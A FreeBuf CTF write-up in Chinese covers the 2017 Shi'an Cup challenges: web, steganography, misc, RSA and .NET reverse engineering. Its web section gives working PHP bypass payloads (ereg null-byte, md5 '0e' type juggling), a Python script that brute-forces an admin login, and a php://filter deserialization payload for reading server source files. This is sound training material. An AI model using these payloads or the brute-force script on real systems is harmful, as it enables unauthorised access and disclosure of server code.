2017世安杯CTF writeup详解

2017-10-14 +10 428160人围观 ,发现 4 个不明物体 新手科普

前言

国庆打了场CTF,在此分享出我们队的Writeup(很多表哥队都AK了,然而我们不会逆向~~),Writeup中的所有python程序基于python3,文章末尾附上题目链接,大家有兴趣可以自行练习。

Web

ctf入门级题目

题目

2017世安杯CTF writeup详解

主要考察ereg()函数漏洞,ereg读到%00的时候就截止了,根据代码意思构造payload,%00左边为数字,右边为–即可绕过。

2017世安杯CTF writeup详解

具体可以参考下文:

http://blog.csdn.net/lanvnal/article/details/54634589

曲奇饼

题目

2017世安杯CTF writeup详解

Burpsuite抓包可见端倪

2017世安杯CTF writeup详解

尝试读取index.php的源代码:

import requests

url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line=%s&file=aW5kZXgucGhw"

for i in range(100):

   r = requests.get(url%i)

   if r.text:

      print(r.text)

运行上面的python代码,可以获取index.php的源代码,如下:

2017世安杯CTF writeup详解

根据php代码可知,需要设置指定cookie为li_lr_480,访问thisis_flag.php方可获取flag,构造payload如下

2017世安杯CTF writeup详解

intval()函数执行成功时返回 变量的10进制值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。

类型

题目代码太长了,这里分成以下3段来分析

x1部分代码

2017世安杯CTF writeup详解

x1=0或者0dffd或1dfdf或者其他非数字开头的字符串

X2部分代码

2017世安杯CTF writeup详解

本地构造payload

2017世安杯CTF writeup详解

x2={"x21":"2018sasa","x22":[[0],0]}

x3部分代码

2017世安杯CTF writeup详解

在php中,0eXXX….(XXX为数字)表示科学记数法,PHP会对其取0值,看如下代码即可明白

2017世安杯CTF writeup详解

所以我们只要找出符合条件的数值作为x3的值即可,python程序如下

import re

import hashlib

md = hashlib.md5("15562".encode())

s = md.hexdigest()[8:8+16]

print('md5(15562) =',s)

for i in range(10000000):

   md = hashlib.md5(('XIPU'+str(i)).encode())

   x = md.hexdigest()[8:8+16]

   if re.findall('^0e\d*$',x):

      print('XIPU'+str(i))

      print(x)

2017世安杯CTF writeup详解

最后结合起来,payload如下:

http://ctf1.shiyanbar.com/shian-leixing/?x1=1dfdf&x2={“x21″:”2018sasa”,”x22″:[[0],0]}&x3=XIPU18570

2017世安杯CTF writeup详解

登录

题目

2017世安杯CTF writeup详解

Burp抓包测试一下,发现返回信息不同

2017世安杯CTF writeup详解

据说有提示,放这么下面,让我一顿好找

2017世安杯CTF writeup详解

那就是爆破了,写个python脚本自动获取flag

import requests

import re

l = [str("%05d"%i) for i in range(0,100000)]

for i in l:

   sess = requests.Session()

   print("Test passwd",i)

   url = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password=%s&randcode=%s"

   r = sess.get(url)

   code = re.findall('\d{3}',r.text)[0]

   url = url % (i,code)

   r = sess.get(url)

   if "flag" in r.text:

      print("The password is",i)

      # print(r.text)

      print(re.findall('flag{[\w\d]+}',r.text)[0])

      break

2017世安杯CTF writeup详解

admin

题目源码

2017世安杯CTF writeup详解

根据代码提示,我们使用php://input给user变量传值,使用php://filter来读取index.php和class.php的源代码。

2017世安杯CTF writeup详解

index.php

2017世安杯CTF writeup详解

class.php

2017世安杯CTF writeup详解

根据index.php的$pass = unserialize($pass);以及class.php代码,再结合利用php://filter协议,最终构造出我们要传入的pass的值

2017世安杯CTF writeup详解

最终的payload如下

http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}

2017世安杯CTF writeup详解

具体可以参考下文:

http://blog.csdn.net/niexinming/article/details/52623790

隐写

Low

题目是一张bmp图片,根据提示low可以是LSB隐写,python解题代码如下

import PIL.Image as Image

img = Image.open('low.bmp')

img_tmp = img.copy()

pix = img_tmp.load()

width,height = img_tmp.size

for w in range(width):

   for h in range(height):

      if pix[w,h]&1 == 0:

         pix[w,h] = 0

      else:

         pix[w,h] = 255

img_tmp.show()

2017世安杯CTF writeup详解

斑马斑马

使用在线条形码扫描即可

https://online-barcode-reader.inliteresearch.com/

2017世安杯CTF writeup详解

CreateByWho

题目就是这样

会ps的用ps,不会的可以打印出来,剪刀剪完再贴起来

2017世安杯CTF writeup详解

最后拼出来是这样

2017世安杯CTF writeup详解

适合作为桌面的图片

将图片导入stegsolve中可调出一个二维码

2017世安杯CTF writeup详解

将该16进制串写入文件并保存成.pyc结尾文件,然后反编译出python源代码,运行即可

2017世安杯CTF writeup详解

Misc

Reverseme

用winhex打开,发现里面的字符反过来可以正常阅读,所以文件被倒置了

2017世安杯CTF writeup详解

Python解题程序如下

with open('reverseMe','rb') as f:

   with open('flag','wb') as g:

      g.write(f.read()[::-1])

将获取的flag打开,倒过来即可

2017世安杯CTF writeup详解

珍妮的qq号

珍妮换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。

for old in range(10000,30000):

   new = old*4

   rever = list(str(old))

   rever.reverse()

   if ''.join(rever) == str(new):

      print(new)

      break

key{87912}

心仪的公司

方法一:

这题是一道流量分析题,用wireshark打开,题目提示是:对网站上传webshell获取了公司的图片。所以我们直接http筛选,有两个内网地址192.168.1.111和192.168.1.108,查看192.168.1.111的包发现XFF字段并且大量访问外网。猜测是192.168.1.108做反向代理攻击:参考http://www.cnblogs.com/wenthink/p/HTTTP_Proxy_TCP_Http_Headers_Check.html

2017世安杯CTF writeup详解

筛选192.168.1.108的数据包发现:

2017世安杯CTF writeup详解

TCP流追踪:

2017世安杯CTF writeup详解

flag到手。(其实之前是以为要做图片修复还原然后间接获得flag,感受到出题者的真诚。)

方法二:

strings webshell.pcapng | grep “^f”

2017世安杯CTF writeup详解

密码学

DES

涉及到逆向工程,不会。。。

RSA

题目

c = 2044619806634581710230401748541393297937319

n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

下面是python2代码,因为libnum模块只能在python2.7环境下运行

c= 2044619806634581710230401748541393297937319 

n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

import libnum

for e in range(2,10):

    m = libnum.nroot(c,e)

    if m**e==c:

        break

print "e:",e

print "m:",m

flag = libnum.n2s(m)

print 'flag:',flag

2017世安杯CTF writeup详解

libnum模块安装

git clone https://github.com/hellman/libnum

cd libnum

python setup.py install

逆向

Console

提示是微软的一门语言,用PEiD分析是.net

2017世安杯CTF writeup详解

用dnSpy打开,在@02000003翻到关键代码块,稍微整理后主要部分如下:


using System;  
using System.Security.Cryptography;  
using System.Text;  
 
internal class Demo{  
  private static string one(string A_0){  
      byte[] bytes = Encoding.ASCII.GetBytes(A_0);  
      return "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";  
  }  
 
  private static void Main(string[] A_0){  
      string b = null;  
      string value = string.Format("{0}", DateTime.Now.Hour + 1);  
      string a_ = "CreateByTenshine";  
      four(a_, Convert.ToInt32(value), ref b);
        Console.WriteLine(b); //直接打印b得到flag
      string a = Console.ReadLine();        
      if (a == b){  
          Console.WriteLine("u got it!");  
          Console.ReadKey(true);  
      }  
      else{  
          Console.Write("wrong");  
      }  
      Console.ReadKey(true);      
  }  
 
  private static int three(int A_0, int A_1){  
      return (new int[]{  
          2,3,5,7,11,13,17,19,23,29,31,  
          37,41,43,47,53,59,61,67,71,73,  
          79,83,89,97,101,103,107,109,113  
      })[A_1] ^ A_0;  
  }  
 
  private static void four(string A_0, int A_1, ref string A_2){  
      int num = 0;  
      if (0 < A_0.Length){  
          do{  
              char c = A_0[num];  
              int num2 = 1;  
              do{  
                  c = Convert.ToChar(three(Convert.ToInt32(c), num2));  
                  num2++;  
              }  
              while (num2 < 15);  
              A_2 += c;  
              num++;  
          }  
          while (num < A_0.Length);  
      }  
      A_2 = one(A_2);  
  }  
}

看了一下代码的大致流程:在Main函数里b被赋值,值是one函数里返回的flag字符串,其中包含一个将byte变量加密后的字符串,而byte变量接收的参数来自第52行的four函数………整个函数的b是自动生成的,中间有一个value变量随时间改变,但没有使用到,所以b是一个常量,可以直接在第15行b被赋值之后添加一行代码打印出b就能得到flag。

直接拖到https://ideone.com/#在线运行

2017世安杯CTF writeup详解

将flag作为输入也提示正确

2017世安杯CTF writeup详解

android

题解:http://www.voidcn.com/article/p-uwalkxon-bmt.html

动态暴力破解

拖入ida查看string处

2017世安杯CTF writeup详解

FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{处理后即可得到flag

详细题解

https://advancedpersistentjest.com/2016/03/28/writeup-sleeper_cell/

https://github.com/xil-se/xil.se/blob/master/content/post/pwn2win-2016-sleeper-cell-kbeckmann.md

剩下这3道逆向都不会:getflag、bin、简单算法

结语

所有题目地址

2017世安杯CTF writeup详解

*本文作者:Mochazz,转载请注明来自FreeBuf.COM

发表评论

已有 4 条评论

取消
Loading...
css.php